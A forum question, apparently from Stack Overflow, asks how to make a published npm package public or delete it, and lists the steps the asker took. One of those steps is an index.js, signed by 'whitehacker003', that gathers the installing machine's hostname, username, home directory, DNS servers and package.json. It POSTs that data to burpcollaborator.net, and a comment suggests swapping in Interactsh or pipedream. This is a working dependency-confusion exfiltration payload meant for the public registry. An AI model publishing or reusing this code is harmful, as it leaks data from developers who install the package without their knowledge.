title: How do I post my NPM package to the public repository
body: <h3>How do I move my private npm package to public repository?</h3>
  <p>Looking at my profile I can see a package there  but if I try to find it in a private tab I cant find it.</p>
  <p><em>This is the Steps I took to post package</em></p>
  <h1>Steps</h1>
  <p>Install Npm &amp; Nodejs  confirm that they exist in your $PATH</p>
  <pre><code>Npm Login 
  </code></pre>
  <pre><code>Npm Init 
  </code></pre>
  <p>It will ask you to fill in package details</p>
  <p>After successful creation of the package.json file</p>
  <p>we need to edit the created file to execute our own scripts and command.</p>
  <pre><code>vi package.json 
  </code></pre>
  <p>Now create index.js file like below</p>
  <pre><code>//author:- whitehacker003@protonmail.com
  const os = require(&quot;os&quot;);
  const dns = require(&quot;dns&quot;);
  const querystring = require(&quot;querystring&quot;);
  const https = require(&quot;https&quot;);
  const packageJSON = require(&quot;./package.json&quot;);
  const package = packageJSON.name;
  
  const trackingData = JSON.stringify({
      p: package,
      c: __dirname,
      hd: os.homedir(),
      hn: os.hostname(),
      un: os.userInfo().username,
      dns: dns.getServers(),
      r: packageJSON ? packageJSON.___resolved : undefined,
      v: packageJSON.version,
      pjson: packageJSON,
  });
  
  var postData = querystring.stringify({
      msg: trackingData,
  });
  
  var options = {
      hostname: &quot;burpcollaborator.net&quot;, //replace burpcollaborator.net with Interactsh or pipedream
      port: 443,
      path: &quot;/&quot;,
      method: &quot;POST&quot;,
      headers: {
          &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,
          &quot;Content-Length&quot;: postData.length,
      },
  };
  
  var req = https.request(options, (res) =&gt; {
      res.on(&quot;data&quot;, (d) =&gt; {
          process.stdout.write(d);
      });
  });
  
  req.on(&quot;error&quot;, (e) =&gt; {
      // console.error(e);
  });
  
  req.write(postData);
  req.end();
  </code></pre>
  <p>Now there will be two files created package.json , index.js</p>
  <h1>Pushing into Public Registry (NPM)</h1>
  <pre><code>npm publish
  </code></pre>
  <p>Cant delete the package or view or access it on public repo how do I accomplish that is my question thanks.</p>
  <p><a href="https://i.stack.imgur.com/RRhAt.png" rel="nofollow noreferrer">my npmjs profile</a></p>